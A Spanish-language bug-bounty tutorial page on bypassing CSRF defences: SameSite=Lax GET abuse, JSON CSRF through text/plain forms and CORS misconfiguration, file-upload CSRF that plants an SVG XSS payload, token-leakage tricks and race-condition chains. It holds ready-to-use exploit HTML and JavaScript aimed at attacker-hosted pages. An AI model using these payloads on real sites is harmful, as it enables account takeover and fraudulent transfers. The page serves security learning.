Respuesta rápida
CSRF "está muerto" porque Chrome puso SameSite=Lax por defecto en 2020. Pero el bug class sigue vivo en 2026: SameSite=Lax permite GETs cross-site (cualquier acción state-changing implementada como GET es explotable), JSON CSRF funciona si el server acepta text/plain o cuerpos con Content-Type flexible, y file upload CSRF sigue siendo el escenario más rentable cuando no hay protección anti-CSRF en endpoints multipart. Bounties típicos: €500-€5.000+ cuando encadenas con XSS o IDOR.
SameSite cookie modes — refresher rápido
| Modo | Comportamiento cross-site | Estado por defecto |
|---|---|---|
Strict | Cookie no se envía en ninguna petición cross-site | Pocos sites |
Lax | Se envía en top-level GET (clicar un link) | Default Chrome desde 2020 |
None; Secure | Se envía siempre (require HTTPS) | Sites que necesitan cross-site |
Lax es el default — y abre toda la superficie de GET state-changing.
SameSite=Lax bypass via GET
Si la app tiene endpoints GET que cambian estado (anti-pattern frecuente en apps legacy y a veces en endpoints "REST-ish" descuidados), Lax los expone:
<!-- attacker.tld/exploit.html -->
<a id="bait" href="https://target.com/account/delete?confirm=1">Click here</a>
<script>document.getElementById('bait').click();</script>
Click triggerea top-level GET → cookie Lax viaja → la acción se ejecuta.
Endpoints típicos vulnerables
GET /logout(low impact pero clásico)GET /api/account/delete?id=XGET /email/change?to=atacante@evil.tldGET /password/reset/confirm?token=XGET /follow?user=X,GET /like?post=X
Bypass via <form method="GET">
Si el endpoint solo acepta GET, un form submit también funciona — pero el browser navega top-level (target=_top), igualmente Lax-friendly.
<form action="https://target.com/account/delete" method="GET" id="f">
<input type="hidden" name="confirm" value="1">
</form>
<script>document.getElementById('f').submit();</script>
[!warning] 2-minute Lax exception (Chrome) Chrome permite POST top-level cross-site con cookies Lax en los primeros 2 minutos de creación de la cookie. Si forces re-login de la víctima (open redirect a OAuth, magic link, etc.) y tu CSRF dispara en <120s, el POST también funciona. Patrón documentado en H1 reports con bounties €1500-€3000.
JSON CSRF — el bug que "no existe"
La narrativa común: "no se puede hacer CSRF a un endpoint JSON porque Content-Type: application/json requiere un preflight CORS, y el atacante no puede mandar preflights". Falso en 3 escenarios.
Escenario 1 — Server acepta cuerpos con Content-Type flexible
El endpoint declara que acepta JSON pero parsea cualquier body. Manda Content-Type: text/plain (que es "simple" — no requiere preflight) con un body que parece JSON:
<form action="https://api.target.com/transfer" method="POST" enctype="text/plain">
<input name='{"amount":1000,"to":"atacante","ignore":"' value='ignore"}'>
</form>
<script>document.forms[0].submit();</script>
El body resulta {"amount":1000,"to":"atacante","ignore":"=ignore"} — la app parsea el JSON entero y procesa la transferencia.
Escenario 2 — Server acepta application/json sin verificar Origin/Referer
Si la app tiene CORS abierto (Access-Control-Allow-Origin: * o reflected origin) Y Access-Control-Allow-Credentials: true, un fetch normal manda las cookies:
fetch("https://api.target.com/transfer", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ amount: 1000, to: "atacante" })
});
Esto es CSRF + CORS misconfig — el preflight pasa porque el server lo acepta.
Escenario 3 — Flash multipart (legacy pero aún encontrable)
En apps muy legacy (que aún soportan Flash o tienen reverse proxies con normalización rara), Content-Type: multipart/form-data puede llegar como JSON al backend si el parser inspecciona el body:
Content-Type: multipart/form-data; boundary=foo
--foo
{"amount":1000}
--foo--
Reverse proxy + backend con parser laxo → el body se interpreta como JSON.
<!-- PAYWALL -->File upload CSRF — el escenario más rentable
Endpoints de upload casi nunca usan CSRF token (porque "no se puede mandar multipart cross-origin sin preflight"). Falso desde HTML5.
Form multipart desde otro origen
<!-- attacker.tld/exploit.html -->
<form action="https://target.com/api/upload" method="POST" enctype="multipart/form-data" id="f">
<input type="file" name="file" id="i">
</form>
<script>
const file = new File([
'<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>'
], 'pwn.svg', { type: 'image/svg+xml' });
const dt = new DataTransfer();
dt.items.add(file);
document.getElementById('i').files = dt.files;
document.getElementById('f').submit();
</script>
Si el endpoint:
- No requiere CSRF token
- Sirve el archivo subido en el mismo dominio (
target.com/uploads/...) - No restringe el MIME real del archivo
→ Stored XSS via CSRF + SVG. Bounty típico €1.500-€3.500.
Chain con avatar upload
Avatar upload + falta de CSRF token + el avatar se sirve same-origin = stored XSS persistente en el perfil de la víctima.
CSRF token leakage
Cuando hay token CSRF, el siguiente paso es filtrarlo:
Via Referer
<!-- target.com/profile?token=ABCD -->
<a href="https://attacker.tld/track">Click</a>
Click envía Referer: https://target.com/profile?token=ABCD → atacante lee el token de sus logs. Fix correcto: Referrer-Policy: strict-origin o no-referrer.
Via XSS en el mismo dominio
XSS en cualquier punto del dominio → fetch /api/csrf-token → tienes el token → tiras CSRF "auténtico". Por eso XSS+CSRF protection no protege contra XSS.
Via cache poisoning
Si la página con <meta name="csrf-token"> se cachea por CDN sin variar por user → tu token cacheado va a la víctima. Fix: Cache-Control: private o nunca cachear páginas con token.
Via subdomain XSS
XSS en blog.target.com + cookies Domain=.target.com → tu JS en blog puede leer cookies con secret_token que aplican al main domain.
CSRF con SameSite=Strict — el grial
Strict bloquea todas las cookies cross-site. Aún así hay escenarios documentados:
Subdomain takeover + cookie scoping
Si controlas *.target.com (subdomain takeover) y la cookie tiene Domain=.target.com, tu subdomain controlado puede mandar requests same-site (no cross-site) con la cookie. Strict no protege.
Browser extension / cross-app injection
Si la víctima tiene una extensión que inyecta tu JS en target.com (XSS via extension, malware), el JS corre same-origin → bypasea Strict.
Top-level GET navigation a OAuth/SSO link (Strict variant)
En algunos browsers/configs, los redirects de auth (302 desde accounts.target.com/oauth?...) llegan al callback de target con la cookie Strict — históricamente bug class documentado, parcialmente parcheado en Chrome 90+. Sigue siendo escenario a probar.
Chain CSRF + race condition (bounty real €2400)
Patrón documentado en programs financieros: el endpoint de "confirmar transferencia" valida CSRF token pero la lógica tiene race condition en la verificación de balance.
Victim → GET /transfer/form (token CSRF emitido)
Attacker → CSRF a la víctima con N requests paralelas del confirm
Server: race condition entre [check balance] y [debit balance]
→ N transferencias por el mismo balance
Single-packet attack (HTTP/2) + CSRF = una sola interacción de la víctima dispara N races simultáneas.
[!success] Bounty real H1 program de marketplace de booking — CSRF + race en endpoint de cupón → cupón aplicado 12 veces → reembolso por encima del precio original. Reward $2.400 + bonus por chain.
Validación incorrecta del token CSRF — patrones
Token aceptado si está vacío
POST /api/transfer
X-CSRF-Token: ← header presente pero vacío
App chequea "header existe" pero no "tiene el valor correcto". Bypass.
Token aceptado si está ausente
App valida solo si el header está presente. Quita el header → la validación se salta.
Token global compartido entre users
Token CSRF derivado de un secret global, no per-session. Atacante obtiene un token desde su sesión y lo usa en el CSRF de la víctima.
Token "verificado" en GET pero no en POST
Form genera token y lo manda en GET. Server verifica el token en GET (parsing del form) pero el endpoint POST de submit no lo re-verifica.
Hunting checklist
- Identifica endpoints state-changing que aceptan GET — explotables vía Lax.
- Para POST: chequea Content-Type aceptado (¿acepta text/plain o form-urlencoded?).
- CORS misconfig + credentials → fetch directo con
credentials:"include". - File upload endpoints — pocos tienen CSRF token. Multipart cross-origin con DataTransfer.
- CSRF token bypass: vacío, ausente, global, no re-validado.
- Token leakage via Referer (
Referrer-Policyausente), cache, XSS subdomain. - SameSite=Strict apps: prueba subdomain takeover + cookie Domain=.target.com.
- 2-min Lax window: chain con auth flow que re-emita cookies (OAuth callback).
- Race conditions encima de CSRF — single-packet attack para chains.
- Documenta impact: ATO, transfer, role change, public info exposure.
Labs relacionados
Practica SameSite bypass, JSON CSRF y file upload CSRF en labs de CSRF.
Practica esto en un lab
Csrf Explicado Completo
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Hay un payload extra al final
El chain CSRF + race condition que bypasea SameSite=Strict via top-level GET navigation — bounty €2400 en H1 program.
5 €/mes · cancela cuando quieras
Artículos relacionados
Cloudflare WAF — payload size bypass, oversized body, plan-specific limits
Bypass de Cloudflare WAF mediante exploitation de body size limits por plan (Free 100kb, Pro 100kb, Business 500kb, Enterprise 1mb): oversize payload trick + chunked transfer encoding.
CSRF (Cross-Site Request Forgery) — explicado completo con bypasses
CSRF: cómo se explota, defensas comunes (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) y dónde buscarlo en cualquier app.
OAuth attacks — state CSRF, redirect_uri bypass, code/token leakage
El state parameter ausente, redirect_uri mal validado, response_type confusion. Cómo robar OAuth tokens y forzar account linking.